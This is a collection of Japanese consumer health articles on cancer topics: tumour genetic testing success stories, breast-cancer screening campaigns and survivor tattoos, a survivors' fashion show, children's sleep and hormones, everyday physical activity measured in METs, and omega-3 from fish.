クリスティン・ブレイさんが卵巣がんと診断されたのは2010年、30歳のときでした。ステージ1cで、まだがんが卵巣の外に広がっていない段階。ですから、命にかかわることはないと考えていたといいます。がんが再発した時、米国がん治療センターの医師が提案してくれたのは？ところが、手術と放射線療法に加えて、化学療法を受けたのに、がんが再発。突如、先行き真っ暗に。「ふたりの子は幼く、身辺整理をするよう勧められ、希望を失った」と振り返るクリスティンさん。正気を保っていられるのはおよそ1カ月と言われました。2014年初頭でした。このとき提案を受けたのが遺伝子検査。米国がん治療センター（Cancer Treatment Centers of America）の医師からでした。「聞いたこともない検査だったものの、まだ選択肢があるのかと思った」。クリスティンさんはそのときの気持ちをおぼえています。医師は、クリスティンさんのがん細胞を検査会社であるファウンデーション・メディシン社に送ってくれ、がんの遺伝子変異が判明しました。通常、腎臓がんに使われる「エベロリムス（商品名アフィニトール）」という薬が効く可能性があるとわかったのです。2014年中にエベロリムスによる治療を始めました。毎日、コップの水で錠剤を飲み続けて3年間。ついにがんが小さくなっていったのです。治療の成功を期待しなかっただけに、奇跡とさえ思える結果でした。「普通の生活を送れるようになり、子どもの成長を見ていられるなんて、驚異的なこと」とクリスティンさんは話します。遺伝子検査とは？遺伝子は、すべての細胞に2万個から3万個あり、遺伝子検査は、そうした遺伝子の異常を調べて、どんながんにかかりやすいかを判断します。ファウンデーション・メディシン社などでは、すでにがんになった人のがん細胞も調べるところが独特です。「がん細胞の遺伝情報を調べると、遺伝子変異の情報から、新しい薬、もっと標的を狙った薬に反応しそうかがわかります」とペンシルベニア大学の個別化診断センター所長で、病理学・実験医学教授のコジョ・エリニトバ・ジョンソンさん。さらに、遺伝子検査は治療の選択肢を減らすこともできます。「効果のない、副作用を伴うような治療をあらかじめ知って避けられるので、時間の節約につながるのです」とエリニトバ・ジョンソンさんは説明します。もうひとつの「サクセスストーリー」クリスティン・ブレイさんと同じようにコリーン・ファーレルさんも33歳のときに、がんと初めて診断されました。「2014年の夏、ダルさを感じ始め、毎日昼寝をするように。まったく私らしくないことで、その後に腰に違和感が出てきました」。医師は当初、肉ばなれと判断していましたが、秋までに、がんを発見。大腸がんが進行していました。「ステージ4だったのでひどく、『家に帰って葬儀の準備を』とまではいきませんが、『すぐにやらなければならないことに目を向けて』と言われるのです」放射線療法や化学療法を受けても、肝臓と肺の両方に転移。「振り回され、ただ絶望。本当にひどいものでした」そこで聞いたのが遺伝子検査のことでした。新しい治療への扉を開くかもしれないと。「うまくいった人がいるというものの、わからないことだらけ。遺伝子検査を受けない場合の勝ち目を聞くと、『2カ月』とのことで、試すしかないと思ったのです」ファウンデーション・メディシン社から受け取った結果は、がんには免疫療法が効くかもしれないというもの。「2016年3月に治療が始まり、8週間後、最初の画像検査を受けたところ、がんが成長していないばかりか小さくなっているというものでした」「降参していた」と医師がいうほど最初12センチメートルだったがんが、新しい治療をわずか1コース受けただけで、7センチに収縮。「信じられなかったと医師が感じるほどでした」あまりに早く効いた結果、「3回の大量出血を経験。腫瘍が急速に縮小したため、腫れていた血管や臓器が突然、再び出血したのです」（コリーンさん）完全に危機を乗り越えたわけではないとも言いますが、「今日のようになれるとは思っていませんでした。 私はいつも、遺伝子検査から恩恵を受けられたなんてどれほどラッキーだっただろう、と思っています。だれもができることではないので」とコリーンさん。だれが遺伝子検査を受けるのか？ほんの数年前だったら、今回ご紹介した検査で行ったタイプの「遺伝子シーケンス（塩基配列決定）」は数百万ドル（数億円）の費用がかかり、完了するまで数日ではなく数年かかるような検査でした。その遺伝子検査は新しいうえに、そこから判明する治療の選択肢の多くが臨床試験中なので、使えないかもしれません。従来の治療が失敗したら行うタイプの検査となります。「ある種の白血病では、病気について詳しくわかってきているので、最初から遺伝子検査を組み合わせる治療を行うのが普通になっています。ほかのケースでは、遺伝子検査はどこまで有効で副作用がどうか十分は見えません」遺伝子検査を行う意味のあるがんとしては、肺がんや大腸がん、悪性黒色腫（メラノーマ）が考えられますが、そのがんの特徴次第。がんの診断や治療はますます進んで、遺伝子検査を行うことで、より標的を絞った治療と組み合わせることができ、命を救えるようになりました。ですが、まだまだ研究が必要というのも確かです。Markham Heid/This Last-Resort Test Saved 2 Women From Cancer—And It Could Save You, Too訳/STELLA MEDIX Ltd.

出典：みなさんは、“乳がん検診”を受けたことがありますか？現在日本では女性の11人に1人が乳がんになると言われています。（※1）さらに30歳から64歳の女性のがんによる死亡原因のトップは“乳がん”なのだそうです。しかし、日本の2016年における40～69歳の乳がん検診受診率は36.9％に留まっています。（※2）そんな日本でも検診を呼びかけようと、とあるイベントが開催されました！そこで今回は、10月3日に東京ミッドタウンで開催された乳がん検診受診を呼びかけるピンクリボンイベント『Kiss Goodbye to Breast Cancer』に、ママである前に1人の女性である筆者が取材をしてきましたのでお伝えします。海外を見てきた花田優一さんが語る「乳がん」について『Kiss Goodbye to Breast Cancer』には家族想いで有名な、花田優一さんがイベントのアンバサダーとして登壇していました。現在、靴職人として活躍中の花田さんですが、最近芸能活動もスタートしたばかり。この日は、芸能活動としてイベントに“初登場”したことで注目を集めていました。15歳からアメリカに単身留学、その後靴の修業のためにイタリアへ渡った花田さん。それぞれの国における“ピンクリボン活動”についてのイメージについてお話していました。出典：●海外でも「ピンクリボンイベント」は浸透している花田さん：アメリカ留学をした時の印象としては、ニューヨークやボストンのような市街地はもちろんのこと、僕が生活をしていた田舎の町でもピンクをまとったイベントがあったりしました。田舎の町でもしっかり浸透した活動だったのだと感じました。その後に住んだイタリアは、家族の絆が強い国なのです。だから“家族同士が自然に声をかけあって健診を受けている”というイメージがあります。正直言うと、その2か国に比べて日本はまだまだ認識が広がっていないのではないかと思っています。実は高校2年になる妹の親友に、乳がんの疑いがあるという結果が出たことがありました。周りはみんな知識がなくて、どういった検査をしていいのかわらかないという感じでした。その時に僕は、このような状況にとても危機感を感じたので、そういったことも含めて、なるべく多くの方にこのようなイベントを知ってもらう事が重要なのかなと思います。 ●「検診行ってきたら？」と、男性から言うべき！花田さん：今回母に乳がん検診を受けているか聞いたら、40代の頃に一度受けただけだと話していました。母も仕事を持っていて忙しかったので、そういう自分自身の健康のことに、なかなか時間を取れなかったかもしれないですね。感謝の気持ちも“言葉で伝えなくてはわからない”のと同じで、周りが「体、大丈夫？」と聞いてあげることって大事だと思います。「検診に行ってきたら？」と奥さんやお母さんに、男性側から言ってあげるようになると良いですよね。この活動を通して、1人でも多くの方が乳がん検診を受けに行くようになることを願います。 いかがでしたか？トークショーでのお話を聞いていると、言葉の端々からとても家族を大切に思っている方だということを感じました。大切な家族を悲しませないためにも、乳がん検診の早期受診がより多く方に広まるといいですね！ 【画像・参考】※ エイボン ピンクリボンイベント「Kiss Goodbye to Breast Cancer ＃YouAreMy…」※1 国立がん研究センターがん対策情報センター 「がん情報サービス」 最新がん統計※2 厚生労働省「平成 28 年 国民生活基礎調査の概況」 

日本ではまだまだネガティブな印象が強いタトゥー。そんなタトゥーという存在が病気を乗り越える一つの手段になり得ることを知っているだろうか。タトゥーを施すことで精神的な回復をし、それによって自信を取り戻した人々がいる。年々増加する乳がん患者女性にとって乳がんはもっとも罹患率の高いがんである。 2015年、日本における乳がん罹患数は89,400人、死亡数は13,800人（参照元：乳がん治療と乳房再建の情報ファイル）。乳がんの患者数は年々増加しており、関心を向けざるをえないものとなっている。そしてこの乳がんという病気に対して、特に女性にはある心配事を抱かせるかもしれない。乳房を摘出することだ。乳がんを患い、胸のふくらみがなくなったり、人工的な胸に変わったりすることは体にも心にも大きな変化をもたらす。しかし、そんなその後の生活にも大きな影響を与える乳房摘出をタトゥーというアートを利用して自分の魅力に生まれ変わらせた人々が存在している。摘出手術後に傷をタトゥーでカバーした女性たちタトゥーが施された胸を披露した元乳がん患者たちがタトゥー雑誌Inkedでとりあげられた。胸のタトゥーをさらした女性たちは皆、長い期間乳がんと闘い、病気を克服している。また#inkedforacauseというハッシュタグを用いて、そんな女性たちの姿は世界中に広がっている。CHRISTINA – 4 years cancer free. Shot for @inkedmag #inkedforacause issue. Photo @sophyholland Makeup @pinksun Hair @erintierneyartist Styling @newheartnyc Shot at @pier59studios Thanks to @caseyshowalter @krystallynne @brian__lynch @sami_hajar @rockyrakovic @pookiepookie_ #mastectomytattoo #breastcancerawareness #breastcancer #breastcancermonth #mastectomySophy Hollandさん(@sophyholland)がシェアした投稿 – 2017 10月 2 6:48午前 PDTinstagram:@sophyholland乳がんを患った場合、病気を克服できたとしても手術後の胸の傷や全摘出という不安、また胸を失った後の精神的ダメージがとても強いものだということを特に女性たちは共感するだろう。がんという病気自体の身体的ダメージに加え、女性らしさを表す胸をとってしまうことで精神的なダメージも伴う。意識しないようにしたとしても傷がある胸を見ないで生活していくことは不可能だ。これは本人とって精神的なダメージを長引かせてしまうかもしれない。MELISSA – 11 years cancer free. Shot for @inkedmag #inkedforacause issue. Photo @sophyholland Makeup @pinksun Hair @erintierneyartist Styling @newheartnyc Shot at @pier59studios Thanks to @caseyshowalter @krystallynne @brian__lynch @sami_hajar @rockyrakovic @pookiepookie_ #mastectomytattoo #breastcancerawareness #breastcancer #breastcancermonth #mastectomySophy Hollandさん(@sophyholland)がシェアした投稿 – 2017 10月 2 6:57午前 PDTしかし、そのようなダメージに対し、彼女たちは思考を変え、タトゥーを加えるという行動によって体をアートで着飾り、自分の体を美しく作り直した。また、タトゥーによって胸の傷を隠すことができ、デザインされた胸のおかげで、鏡の前で自分の姿を見るのが楽しくなったり自信が持てたりすることができるだろう。この胸のタトゥーは病気と闘い克服したという事実と、その事実を受け入れてより魅力的になったことを象徴している。THIS IS WHAT STRENGTH LOOKS LIKE!fuck you cancer Inked Magazine first ever issue dedicated to breast cancer and other causes. 12 beautiful and courageous mastectomy survivors showcasing their amazing tattoos. First of two covers shot by me! Stay tuned for the inside spread and video. Thank you to @sami_hajar @rockyrakovic and @pookiepookie_ at Inked, and an awesome crew – @newheartnyc @pinksun @erintierneyartist @caseyshowalter @krystallynne and @pier59studios for hosting the epic shoot! Featuring @brodygradymama @karenlazarovitz_brca @melissashelley1 @daynadono @queenglobz @horror_cosmic @katvw @kimbohotch @sbhallum @myleeyc @starrazure @pissychrissyschroeder #breastcancerawareness #inkedforacauseSophy Hollandさん(@sophyholland)がシェアした投稿 – 2017 9月 29 8:45午前 PDT彼女たちは病気というネガティブな経験をそのままにせず、また左右されることなく、その傷さえもポジティブで美しいものへと変えてしまった。そんな強さを持った彼女たちから、その発想と勇気ある行動を見習うべきだ。そして、彼女たちのような元乳がん患者の存在は現在乳がんを患っている人々、将来乳がんにかかってしまうかもしれないという不安をもつ人々を勇気付けている。タトゥーによって自分の体と心に自信を取り戻した彼女たちはとてもかっこよく魅力的だ。Text by Shizuka KimuraーBe inspired! この記事を読んでいる人はこの記事も読んでいます！「アジア人は表情豊かじゃない」そんな発言を撤回させるべく動き出した怒れるアジア人たち ＃ExpressiveAsians 日本の伝説的漫画「攻殻機動隊」がハリウッドでの映画化決定を果たし、その主役が日本人ではなく白人系女優スカーレット・ヨハンソンだという事実がアメリカで問題になった。原作で... 

スキンケア・メイクアップ製品を扱う『エイボン』主催の乳がん検査適齢期である40代女性の受診促進を目的としたイベント「Kiss Goodbye to Breast Cancer #YouAreMy・・・」が、東京ミッドタウン・ガレリアアトリウムにて10月3日(火)に開催されました。イベントには、元横綱・貴乃花の長男で、靴職人として活躍をなさる花田優一さんが、ピンクリボンスペシャルアンバサダーとして登場。乳がん検診について、男性目線の素敵なお話を聞かせてくださったのでレポートします。スペシャルアンバサダーは家族思いの靴職人「花田優一」さんイベントテーマ「大切な人に検診を促していく」乳がん検査を促すイベント「Kiss Goodbye to Breast Cancer #YouAreMy・・・」のスペシャルアンバサダーは、靴職人として活躍をしている花田優一さん。元横綱・貴乃花と元フジテレビアナウンサー河野景子さんの長男であり、普段から家族思いの一面を覗かせている花田さんは、「大切な人に検診を促していく」という、本イベントの目的にぴったりのゲストです。「靴も毎日の健康を知るツール。乳がんも、当たり前のように気をつけるものにしたい」と語ります。ちなみに本日の靴は、10代の頃に作ったものなのだとか。「ピンクリボン活動」について知ってる？『エイボン』は15年前から活動を開始花田さんは、「ピンクリボン活動のことは名前だけ知っていて、今回改めて認識するきっかけになった」と話します。「ピンクリボン活動」とは、乳がんの正しい知識を広め、乳がん検診の早期受診を推進すること、などを目的として行われる世界規模の啓発キャンペーンのこと。1980年代に、アメリカで始まった活動です。現在では、化粧品・下着メーカーなど女性を応援する企業が多数参加をしていますが、『エイボン』は、日本にこの活動が広まる前の2002年より、「口紅1本でできるボランティア」を開始し、それから15年に渡り、乳がんの早期発見・早期治療の大切さを呼びかけています。日本は乳がんへの意識が低い国?!乳がんで死亡する女性の数は、1980年に約4000人だったのに対し、2016年で約14,000人と年々増加傾向にあります。日本人女性のうち、なんと11人に1人が乳がんを発症する可能性があるのだそう。だけどその一方で、検診を受けている40歳～69歳の女性は、36.9%(2016年)と半数以下。これは、アメリカ・フランス・韓国・イギリス・ドイツ等の国と比較しても、非常に低い数字です。乳がんは正しい知識と早期発見・早期治療で長く生きられる病気15歳のときに、ピンクリボン活動発祥の地であるアメリカに留学経験のある花田さんは、「寮があったアメリカの田舎町でもピンクをまとったイベントをしていた」と当時の様子を教えてくださいました。アメリカ留学後、靴職人として学んだイタリアについては、「アメリカほどイベント色はないが、家族の絆が強いため、家族同士で自然と気をつけている」とのこと。現在は、治療薬や手術の技術もアップしているため、乳がんは、正しい知識を持って早期発見・早期治療をすることで、永く生きられる病気です。そのためにも、検診を促す会話を、家族間で自然にできるところは、我々日本人も見習わないといけませんよね。乳がんリスクが高まる年齢=女性が最も忙しいとき花田「男性側から『検査行っておいで』と声をかけるべき」乳がんの危険性は、30代から増加しはじめ、40代後半～50代前半ピークを迎えます。発祥リスクの高い40代の方は、特に積極的に検査を受けて欲しい世代です。だけど、それくらいの年齢って、ちょうど子育てや仕事が忙しいときですよね。検診は時間もかかるし、病気の治療ではない検診段階では、仕事を休みにくいもの。お母さんも、家事や子育てをお休みして、検診に行くというのは、家族にもなかなか言いだせないのではないでしょうか。本イベントに参加するにあたり花田さんは、お母さんである景子さん(52歳)に検査について尋ねたのだとか。すると、「40代のときに1回受けたきり」との返答があったそう。実際、景子さん以外にも、そのような女性って多いように感じます。忙しいと、つい自分をおろそかにしてしまいがちですが、絶対に検査は受けるべき。そのためには、周りの人の協力も欠かせません。花田さんは、「乳がんの検診に行くというのは、男性である旦那さんや息子に言うのが恥ずかしいと感じる女性もいるはず。だから、男性側から『検査にいっておいで』と声をかけてあげるべき。家族や親しい人に対し、『有難う』と言うのと同じ感覚で、『体調は大丈夫？』、『検査に行っておいで』と声をかけることが必要」と、力強くおっしゃいます。女性は自ら検診を受けることが、そして、男性はそれを促すことが、1人1人を救うと言えるでしょう。“Kiss Photo Space”人から人へ伝えていくイベント会場には、『エイボン』のピンクリボン活動の原点である「口紅1本でできるボランティア(寄付金付きの口紅を発売)」をイメージし、リップをモチーフにした“Kiss Photo Space”を設置。来場者は、キスマークのステッカーを貼り撮影可能。SNSに「#YouAreMy」をつけて投することで、自身の大切な人に検診を促すことを目的としています。ステッカーを貼った人には、メッセージカードをプレゼント。これには、“大切な人にメッセージを送り、乳がん検診を考えるきっかけになれば”、との思いが込められています。花田さんがメッセージカードに込めた思いとは一般来場者に先駆け、花田さんが50代の母・景子さんに向けて書いたメッセージは、「Dear お母さんたくさんの大切な家族のために・・・」です。3人のお子さんとたくさんのお弟子さんを抱える景子さん。「若い人たちの指標になるよう、健康でいて欲しい。50代の母が検査を当たり前にすると、みんなのためになる」との思いで、お母さんへメッセージを書いたそう。キスマーク1号のシールをオン！最後は、“Kiss Photo Space”に、最初のキスマークを花田さんが貼って終了です。「家族や友人など身近な人がいなくなるのはとても大きなこと。このイベントをきっかけに、少しでも周りの人にお声がけをすることで、助かる命がある。ぜひ乳がん検診を受けて下さい」と非常に心に響くコメントを下さいました。「ピンクリボン」は1人1人の意識1人でも多くの女性がん乳がん検診受けること。そして、性別を問わず全ての人が、家族や友人、職場の人など周りの人たちが検診を受しやすい環境を作ることで、変わることがたくさんあります。「ピンクリボン」を通し、自らの行動と意識変化を起こしませんか。

「乳がん」という病気が女性だけのものだと思ったら大間違いだ。事実、日本の女性の12人に1人がかかり、そして男性もかかることのある、決してだれも他人事とはいえない病気なのだから。手術が必要な場合が多く、そうすると胸を術前と全く同じ形に戻すことは難しくなる。そんなときあなたは、どうにかして「手術する前の“美しい胸”」の形を目指すだろうか。女性は“美しい胸”を持つべきだという価値観 「女性の胸」についての議論を耳にすることは少なくないのではないか。女性の胸は「大きいほうがいい」「小さいほうがいい」「大きくもなく小さくもないのがいい」など、さまざまな意見が交わされているかもしれないが、これらに共通するのは「女性の胸はこうあるべきだ」という何らかの価値観を基準にして、“評価”の対象としていることだ。これは男性からだけではなく、女性同士や女性が自分自身に対しても行われている。このような女性の胸についての価値観や“評価”を、女性の誰もが気にするというわけではないが、こういった価値判断がされる限り、自分の「胸」について思い悩む人は存在する。メディアが“理想的な体型”として胸の大きさを強調したモデルを紹介したり、「バストアップ」や「“美乳”の作り方」などの方法を盛んに提案したり、人々は他人によって形作られた「美しい胸」の価値観に自分を合わせようとする傾向があるのだ。（参照元：BBC News） 乳がんの手術を受けた胸の行方他のがんと比べて患者数や死亡者数が増えている乳がん。高脂肪や高タンパク食の摂取の増加や、初潮年齢の早期化や晩婚化、少子化、初産年齢の高齢化などが原因と言われている。多くは手術が必要となり、状態によって乳房をすべて摘出するか、一部だけ切除することになる。  だが、現在においてはこれらの手術と同時か術後に、再建（自分の皮膚や筋肉を使って、または生理食塩水の入った袋を入れて膨らませて、乳房の膨らんだ形を再現）をすることが可能だ。（参照元：認定NPO法人 J.POSH, 東京女子医科大学 東医療センター 乳腺科）また、乳房だけでなく乳頭や乳輪の再建手術を受け、より術前の見かけに近づけられるようにする患者もいる。ここで理想とされるのは、左右対称で人工物でない乳房だという。（参照元：E-BeC）なぜこのようにして取ってしまった乳房を再現するかというと、“乳房を失った喪失感”をできるだけなくしたり、男性の体とは違う女性の体の特徴を取り戻したり、乳房の形を想定して作られた服に合わせたりするためだと考えられる。（参照元：Breast Cancer Care, Breast Cancer Network Australia）だが、乳がん患者の誰しもが再建を望むわけではないし、そもそも手術を受けて“完全ではなくなった”乳房は果たして美しくないのだろうか。 ニューヨークが再定義した「おっぱいのあり方」「乳がんの手術を受けた胸」に対する観念を打ち破るファッションショーが、ニューヨークファッションウィーク（以下NYFW）で行なわれた。乳がんを経験したモデルを起用したのは、両胸や片胸だけ、胸なし、再建した胸のすべてに対応したランジェリーブランドAnaOno（アナオノ）。乳がん患者を支援するチャリティープロジェクトの#Cancerland（#キャンサーランド）の一環としてだった。（参照元：Konbini）  同ファッションウィークは以前から「美の定義」の多様さを伝える試みを行なっており、ヒジャブを被ったモデルやアシッドアタック（酸攻撃）の被害者をモデルがランウェイを歩くファッションショーを開いてきている。（参照元：Konbini）  今回の「乳がんファッションショー」では、16人のモデル全員が乳がんを経験しており、乳房を再建した人、乳房だけでなく乳頭の再建もした人（ファッションショーでは乳頭や乳輪の出ているモデルはいなかった）、切除した場所にタトゥーを施した人、全く再建をしていない人などモデルたちは顔や体にラメを塗ったランジェリー姿で、堂々とランウェイを歩いた。    乳がんの経験を「個性」に先ほど紹介したファッションショーに出演したモデルたちを見て、何を感じただろうか。モデルたちを見てわかるのは、「乳がんを経験した胸」を「個性」として捉えていることだ。「女性の美しさは胸にある」という風潮は相変わらず消えていないが、手術を受ける前の胸を再び持つことを理想とするのがすべてではなく、「平らなままでも半分くらいの大きさでも美しい」という乳がんのモデルたちの強いメッセージが、観客に伝わってくる。他人が定義した“美しさ”に従うのではなく、何が美しいのかは自分で決めるべきではないだろうか。All photos by @iAmPeterCooperText by Shiori KirigayaーBe inspired! この記事を読んでいる人はこの記事も読んでいます！海外セレブや有名女優も参加。6億人に問いかける「お◯ぱい触りますか？」 世界中に6億人のユーザーがいるとされているインスタグラム。ある日、インスタグラムが女性たちのヌードに占拠された。バストトップには「手のひら」の絵文字。そう。あなたの考えている通... 

source：子どもの夜更かしは良くない、と言いますが、具体的にどのような悪影響があるのか、よく分からないという方も多いと思います。そこで今回は、医学博士の筆者が、“夜更かしが与える子どもの身体への悪影響”を詳しく解説してまいります。 幼児の理想の睡眠時間は？source：厚生労働省第4回21世紀出生児縦断調査結果の概況によると、子どもの就寝時間と起床時間の組み合わせは、“午後９時台”に寝て“午前７時台”に起きる子が25.9％と最も多く、算出した睡眠時間は、“10時間台”が41.9%と最も多くなるとされています。一般的には、幼児の睡眠時間は11～12時間が理想的とされています。もちろん個人差もあるので一概には言い切れませんが、おおよその目安として10時間以上を心がけて頂ければわかりやすいかもしれません。昔から“寝る子は育つ”という諺があるように、子どもにとって睡眠は成長をするのに必要な事であるということがうかがえます。 夜更かしが与える悪影響前述した寝る子は育つというものは、夜に成長ホルモンが分泌しているからと言えます。では、眠っている間中ずっと成長ホルモンが分泌しているのかと言えば、そうでもありません。成長ホルモンは21～23時に分泌準備が行われ、22～2時の間に多く分泌します。ですから21時には寝ていたいということがお分かりいただけるかと思われます。 意外と成長ホルモンばかりクローズアップされていることが多いのですが、実はもう1つの重要なホルモンが睡眠と関係しています。それが“メラトニン”と呼ばれるホルモンです。女性にとって重要なホルモン「メラトニン」source：現在睡眠導入障害に対するお薬にも用いられているこのメラトニンですが、夜になると多く分泌され、眠気を誘発してくれるものです。このホルモンが朝になると分泌量が低下して目が覚めます。医学的には体内時計の調節をしてくれるものとされていて、日本睡眠学会によるとメラトニンには性腺刺激ホルモンの分泌を抑制してくれる作用があるとも言われています。 逆に言うと、夜更かしをすることで、性腺刺激ホルモンが分泌されてしまうということになり、特に女の子の場合であれば性的な早熟が引き起こされてしまう可能性も考えられます。そうなると女性ホルモンの分泌量が多くなってしまうことで、初経年齢が早くなってしまうということが考えられます。また、日本乳癌学会乳癌診療ガイドラインにも掲載されておりますが、初経が早いと乳がんのリスクが増加してしまう可能性も指摘されています。 医師からのアドバイスやはり幼児期は、なるべく睡眠時間を10時間以上（理想は11~12時間）とりましょう。成長ホルモンやメラトニンを分泌させるように促し、成長していく過程でホルモン分泌を適切にしていくことが重要であると考えられます。なかなか子どもが寝付いてくれないということもあるかもしれません。そのようなときには昼間十分日光を浴びせさせ、夜にメラトニンが分泌されやすい環境を整えてみてはいかがでしょうか。 【参考・画像】※ 第4回21世紀出生児縦断調査結果の概況 – 厚生労働省※ 初心者のための睡眠の基礎と臨床  – 日本睡眠学会※ Jpn J Cancer Res. 1995 Oct;86(10):910-5,Effects of menstrual and reproductive factors on the risk of breast cancer: meta-analysis of the case-control studies in Japan, Nagata C1, Hu YH, Shimizu H.※ 睡眠時間と乳がん罹患リスク – 東北大学大学院※ Andrey_Popov, Anna Grigorjeva, gorillaimages / shutterstock

こんにちは。健康管理士のSAYURIです。体を動かすと心地よい季節。スポーツの秋とも言われるように、健康のために何か運動を始めようとする人も多いのではないでしょうか。しかし、そうは思ってみても仕事や子育てなどで時間が取れない人も多いはず。そんな人に嬉しい研究結果が2016年8月に発表されているので、ご紹介したいと思います。●日常生活の身体活動が生活習慣病のリスクを軽減アメリカ・ワシントン大学のHmwe H kyu氏らの研究チームが、健康のための運動だけでなく、家事や仕事など日常生活に伴う活動量と病気のリスクを調査した結果、日常生活における身体活動量でも病気のリスクは軽減された というのです。同氏らが1週間の総身体活動量が600METs未満の人と8000METs以上の人を比べた結果、8000METs以上の人は600METs未満の人と比べて『糖尿病』のリスクが28％低かったそうです。さらに、『虚血性心疾患』のリスクが25％、『乳がん』のリスクが14％、『大腸がん』のリスクが21％、『脳梗塞の』のリスクでは26％も低くなっていたというのです。1週間に8000METsの活動量というと、かなりハードに動き回らなければなりませんが、kyu氏らの調査では最も活動量による健康利益が高いのは、1週間に3000〜4000METs とのことです。●METsって何？ジムに通った経験のある人はご存知かと思いますが、“METs”とは椅子に座るなど安静の状態を1として、体を動かしたときの運動強度がその何倍かを示した数値です。たとえば通常歩行は3METs、子どもの着替えやお風呂、小さな子どもを抱えての移動、掃除機をかける動作なども3METsとなり、自宅で行うストレッチなどの軽い運動は3.5METs、床を磨く作業は3.8METsとなります。ここから1週間の身体活動量を割り出すためには、毎日掃除機を30分かけた場合では“3×30×7＝630METs”となります。小さな子どもを抱えての移動も3METsとなるので、1日トータルの移動が1時間あると仮定するとこれだけで“3×60×7=1260METs”となります。ダイエットを気にするママのためにこのMETsの消費カロリーを見てみましょう。体重52kgの人が10分間子どもを抱いて移動したとすると17kcalの消費となり、10分の移動を1日6回、1週間すると714kcalも消費できることになります。これを他の運動に置き換えると、ランニングや腕立て伏せ、腹筋運動なら約110分、水泳のバタフライなら約80分、ウォーキングでは早歩きで約150分など、結構きつめの運動をしなければなりません。そう考えると、こまめに掃除機をかけたり、ベビーカーをやめて子どもを抱っこしての移動にしたりすることは、ママにとっても嬉しい身体活動だと言えるでしょう。【参考リンク】・Physical activity and risk of breast cancer, colon cancer, diabetes, ischemic heart disease, and ischemic stroke events: systematic review and dose-response meta-analysis for the Global Burden of Disease Study 2013 | The BMJ（）・改訂版『身体活動のメッツ（METｓ）表』 | 国立健康・栄養研究所（PDF）（）●ライター／SAYURI（心理食育インストラクター）●モデル／いちご姫（いちごショートくん）

こんにちは。心理食育インストラクターのSAYURIです。昔から旬の食材はおいしいだけでなく、その季節の人間の体調に合った栄養素がたくさん含まれていて、とても体に良いと言われています。ママが買い物に行ったときに、旬の果物は比較的手に取りやすいもの。しかし、魚はどうでしょう？残念なことに、“魚食クライシス ”という言葉があるほど、日本人の魚離れは進んでいます。「調理が面倒」「ニオイが嫌」「骨があるから食べにくい」その理由はさまざまですが、もし魚を食べる習慣が大腸がんの予防に繋がるとしたらどうでしょう？今回はイギリスの医学誌『ブリティッシュ・メディカル・ジャーナル』の消化器病学専門誌『Gut』に発表された研究報告をもとに、魚を食べるメリットをご紹介したいと思います。●日本人女性の死亡原因トップは大腸がん報道では女性タレントや有名人の乳がんのニュースが多いため、つい乳がんばかりに意識が向きがちですが、実は女性の死亡原因のトップは大腸がん 。患者数こそ1位の乳がん（73,997人）に次いで2位（57,210人）となっていますが、それだけ死亡率が高いとも言えます。●大腸がんの死亡リスクが41％も低い！アメリカ人17万人以上のデータをもとに、大腸がんの発症について研究したところ、鮭やまぐろなどの魚に含まれるオメガ3脂肪酸を1日0.3g以上摂ると、1日の摂取量が0.1g未満の人と比べて死亡リスクが41％も低くなる ことが分かったと言うのです。この研究はアメリカで行われたため、さんまについては明記がありませんでした。調べてみると、大腸がんの発症を抑えると言われるオメガ3脂肪酸の含有量は、鮭では100gあたり0.92g、まぐろ赤身で0.17g、まぐろ脂身で5.81g、さんまで3.78g。さんまはまぐろの脂身に次いで非常に多い含有量を誇っています。まぐろの大トロはお財布にちょっと厳しいかもしれませんが、旬のさんまはお財布にも優しい上に、栄養価も高いため積極的に摂って欲しいと思います。もし、小骨が気になるなら圧力鍋で煮魚にすれば骨ごと食べられるので、カルシウムまでしっかり摂ることができます。値段が高いと言っても、1匹200円ほど。コンビニスイーツのことを思えばそんなに高くはないのではないでしょうか。オメガ3脂肪酸には大腸がんの予防だけでなく、女性に嬉しい脂肪燃焼促進効果 もあると言われているので、ぜひ積極的に食べてくださいね。【参考リンク】・がんの部位別統計 | 日本対がん協会（）●ライター／SAYURI（心理食育インストラクター）